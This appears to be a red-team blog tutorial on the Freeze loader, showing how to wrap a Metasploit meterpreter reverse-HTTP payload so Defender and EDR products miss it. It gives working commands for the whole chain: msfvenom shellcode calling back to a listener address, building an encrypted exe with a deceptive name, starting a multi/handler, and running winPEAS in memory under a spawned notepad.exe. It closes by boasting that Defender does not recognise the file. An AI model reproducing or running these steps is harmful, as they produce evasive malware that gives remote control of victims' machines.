Freeze Fud Payload

Freeze is an old tool that is no longer being updated, but the AV bypass using Metasploit still works perfectly fine.

https://github.com/optiv/Freeze

Binary vs DLLFreeze can generate either a .exe or .dll file. In order to specify this, ensure that the -O command line option ends with either a .exe for binaries or .dll for dlls. No other file types are currently supported. In the case of DLL files, Freeze can also add additional export functionality. To do this use the -export with specific export function name.
ConsoleFreeze utilizes a technique to first create the process and then move it into the background. This does two things - first it helps keep the process hidden, and second, avoids being detected by any EDR product. Spawning a process right away in the background can be very suspicious and an indicator of maliciousness. Freeze does this by calling the ‘GetConsoleWindow’ and ‘ShowWindow’ Windows function after the process is created and the EDR’s hooks are loaded, and then changes the windows attributes to hidden. Freeze utilizes these APIs rather than using the traditional -ldflags -H=windowsgui, as this is highly signatured and classified in most security products as an Indicator of Compromise.
If the -console command-line option is selected, Freeze will not hide the process in the background. Instead, Freeze will add several debug messages displaying what the loader is doing.

Setup gvm

Install gvm on Kali Linux using the zshrc shell

curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer -o /tmp/gvm-installer

sudo bash /tmp/gvm-installer

echo '[[ -s "/root/.gvm/scripts/gvm" ]] && source "/root/.gvm/scripts/gvm"' >> /root/.zshrc

source ~/.zshrc

Must be applied before each use of Freeze ⚠️

gvm use go1.19.4

Create payload (specify the Freeze folder as the storage location)

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.178.33 LPORT=8080 -f raw > ~/Schreibtisch/Home-Grown-Red-Team/Freeze/msf.bin

Switch to the Freeze folder

cd ~/Schreibtisch/Home-Grown-Red-Team/Freeze

Create our exe

./Freeze -I msf.bin -encrypt -O selenskyj.exe

Start listener

msfconsole -x "use multi/handler; set payload windows/x64/meterpreter_reverse_http; set LHOST eth0; set LPORT 443; exploit"

Meterpreter session 1 opened

Our meterpreter Payload runs as selenskyj.exe 😂

Run winPEAS in memory

run post/windows/manage/execute_dotnet_assembly DOTNET_EXE=/root/Schreibtisch/winPEASx64.exe SPAWN_PROCESS=notepad.exe

Scan results https://kleenscan.com/ the .exe is not recognized by Defender!